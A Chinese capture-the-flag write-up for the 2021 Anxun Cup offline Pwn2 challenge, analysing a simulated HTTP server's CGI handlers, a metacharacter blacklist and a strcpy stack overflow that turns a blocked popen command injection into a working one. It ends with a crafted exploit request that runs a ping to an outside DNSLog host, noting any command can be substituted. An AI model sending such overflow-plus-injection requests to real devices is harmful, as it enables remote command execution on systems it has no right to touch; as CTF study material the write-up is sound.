2021安洵杯Pwn2 WP

2021安洵杯线下赛 PWN2

下午的PWN2还挺real的,感觉是从哪个洞里改的?,这里写下wp

程序分析

这题模拟了一个轻量的HTTP服务器
main函数里首先会读取一个命令行参数,这个参数是一个目录
然后会gets读取下HTTP头,格式化字符串参数%[^ ] 是接受任意长度的字符串,这里就是接受按空格分割的三个字符串,就是HTTP请求头里面最开始的请求行GET /url.html HTTP/1.1

第二段是gets,得到请求头里面的请求头部,

这里只对X-Forword-For进行处理,获取到值之后会拷贝到dest的最初的位置
这个值后面会有限定

然后会比较请求方法必须为get方法

第三段是对url路径进行过滤,基本上阻断了目录穿越

下面是解析url后面的参数,这种 index.html?username=root&password=root

第四段是对url进行判断,然后跳到对应的cgi函数进行处理(这里模拟的CGI)

总共是下面四个cgi

1
2
3
4
logctl.cgi  0x402994
login.cgi 0x401E62
logout.cgi 0x402396
wifictl.cgi 0x40283E

其中最明显有洞的地方,就是在logctl.cgi中,有个popen的命令注入,也很符合实际的命令注入的模式

命令注入

字符串首先来源于传进来的url参数,再回头看param_parse的部分

这里逻辑是拆分key 和value,然后调用save_param保存参数

看save_param的逻辑,可以看到第i个参数的key会保存到dest[16i + 32],value会保存到dest[16i + 40]的地方

回到logctl.cgi

popen的参数command来源于wafStrng,WafString由sub_402CAC和block_check产生
block_check的第一个参数和第二个参数传的就是前面保存的key和value

block_check的逻辑是对输入的参数进行过滤,并且将参数里面包含的非法字符串保存到wafString中
“$;`’&|<>^\n\r
因此这里得到的结论是命令注入的字符串无法可控。

栈溢出

上面分析完,就觉得命令注入没法利用,因此我就看了其他逻辑,其中在main函数的后面

这里疑似存在一个任意文件读取的洞,但是url前面过滤死了,想了一会也绕不过去。
那基本上还剩的可疑的点就是strcpy的栈溢出了
在最开始接受URL的时候,长度设定了10000,非常大

保存参数的时候也没有对长度进行限制,最终到检查非法字符时

这里存在栈溢出

最开始想的是怎么利用栈溢出执行代码,可是程序开了NX,然后也没有好的地方可以泄露libc地址,


后来发现这个函数最后拷贝出非法字符串时用的v14刚好在s的上面,因此我们可以直接溢出到v14,然后后面拷贝v14的时候就拷贝的是我们的命令了

EXP

这里我也没写利用脚本,直接给个构造的数据

1
2
/logctl.cgi?ring_token=1639212853:123&username=;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;;ping+19d9fbde.dns.1433.eu.org; HTTP/1.1\n
X-Forword-For: 192.168.1.20

这里执行的命令是ping DNSLOG,可以填上自己的命令

https://log.xn--9tr.com/ DNSLog平台